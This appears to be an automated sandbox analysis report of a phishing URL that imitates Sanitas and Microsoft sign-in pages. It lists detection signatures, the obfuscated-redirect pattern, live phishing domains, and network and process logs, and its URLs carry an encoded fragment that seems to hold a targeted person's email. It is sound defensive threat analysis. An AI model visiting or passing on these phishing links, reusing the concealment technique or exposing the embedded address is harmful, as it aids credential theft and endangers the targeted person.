Chrome Cache Entry: 139	HTML document, ASCII text	649E4B6F539BDFA0DD253EA9B057A749	D3155019A7D150F0CBFF0FD1AAC7AA2320D6239D	71F1C5B8C8EE293B67902DE4418AEA4A3F953748A5E0AF6431A2EC6FACD6493B
Chrome Cache Entry: 140	ASCII text, with very long lines (47261)	E07E7ED6F75A7D48B3DF3C153EB687EB	4601D83C67CC128D1E75D3E035FB8A3BDFA1EE34	96BD1C81D59D6AC2EC9F8EBE4937A315E85443667C5728A7CD9053848DD8D3D7
Chrome Cache Entry: 141	PNG image data, 84 x 63, 8-bit/color RGB, non-interlaced	9DE8282B2D8751FFDFA0DAA29BE39639	34A84A771088F4A12458039231EF62DBF72E8BDD	95898808D967AC32F59A7DE0029C3BBE7FD05892BB16684F4DB3D869F760475C
Chrome Cache Entry: 142	HTML document, ASCII text, with very long lines (485), with CRLF line terminators	4794D32F0B849CACB307285DCF12E0FA	A498C9DA92D6EDBFDE23FA2C1430690D80B91211	C901CDBCE6F2E4D875F6C83A80A0411AC8908A58340ADB60CB7D18570D5768C8

Phishing

AI detected phishing page

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	LLM: Score: 9 Reasons: The brand 'Sanitas' is known and associated with healthcare and wellness products., The URL 'bluntchiefei.za.com' does not match the legitimate domain 'sanitas.com'., The domain 'za.com' is unusual and not typically associated with the Sanitas brand., The presence of a password input field on a non-matching domain is suspicious., The URL contains an unrelated subdomain 'bluntchiefei', which is a common tactic in phishing attempts. DOM: 1.4.pages.csv
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	LLM: Score: 9 Reasons: The brand 'Microsoft' is well-known and has a well-established domain 'microsoft.com'., The provided URL 'bluntchiefei.za.com' does not match the legitimate domain 'microsoft.com'., The URL contains an unusual domain extension '.za.com' which is not typically associated with Microsoft., The URL has no clear association with Microsoft, and the domain name 'bluntchiefei' is suspicious and unrelated to Microsoft., The email domain 'sanitas.es' does not provide any additional context to validate the URL. DOM: 1.3.pages.csv

Yara detected HtmlPhish70

Source: Yara match

File source: 1.2.pages.csv, type: HTML

HTML page contains suspicious javascript code

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: window.location.href = atob(

HTML body contains low number of good links

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Number of links: 0

HTML body contains password input but no form action

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: <input type="password" .../> found but no <form action="...

HTML body with high number of embedded images detected

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Total embedded image size: 45687

HTML page contains hidden javascript code

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTML title does not match URL

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: Title: Continue to secure Log-in does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

HTTP Parser: <input type="password" .../> found

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No favicon

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="author".. found
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="author".. found

Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="copyright".. found
Source: https://bluntchiefei.za.com/XTCfX/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:56474 version: TLS 1.2

Detected non-DNS traffic on DNS port

Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:56472 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	DNS traffic detected: DNS query: www.curiosolucky.com
Source: global traffic	DNS traffic detected: DNS query: bluntchiefei.za.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: synthsparkwe.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 56486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56474
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 56484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56483
Source: unknown	Network traffic detected: HTTP traffic on port 56487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56489
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56495
Source: unknown	Network traffic detected: HTTP traffic on port 56482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56496
Source: unknown	Network traffic detected: HTTP traffic on port 56479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56490
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56480 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:56474 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@25/14@26/171

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1972,i,14582413313291952037,17520994271373431238,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1972,i,14582413313291952037,17520994271373431238,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Stores files to the Windows start menu directory

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

ID:	1522638
Product:	CloudBasic
Start time:	14:02:42
Start date:	30.09.2024
Cookbook:	defaultwindowsinteractivecookbook.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS

Windows Analysis Report
https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

Overview

General Information

Detection

Signatures

Classification

Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Screenshots

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

Windows Analysis Report https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==

Overview

General Information

Detection

Signatures

Classification

Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Screenshots

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

Windows Analysis Report
https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==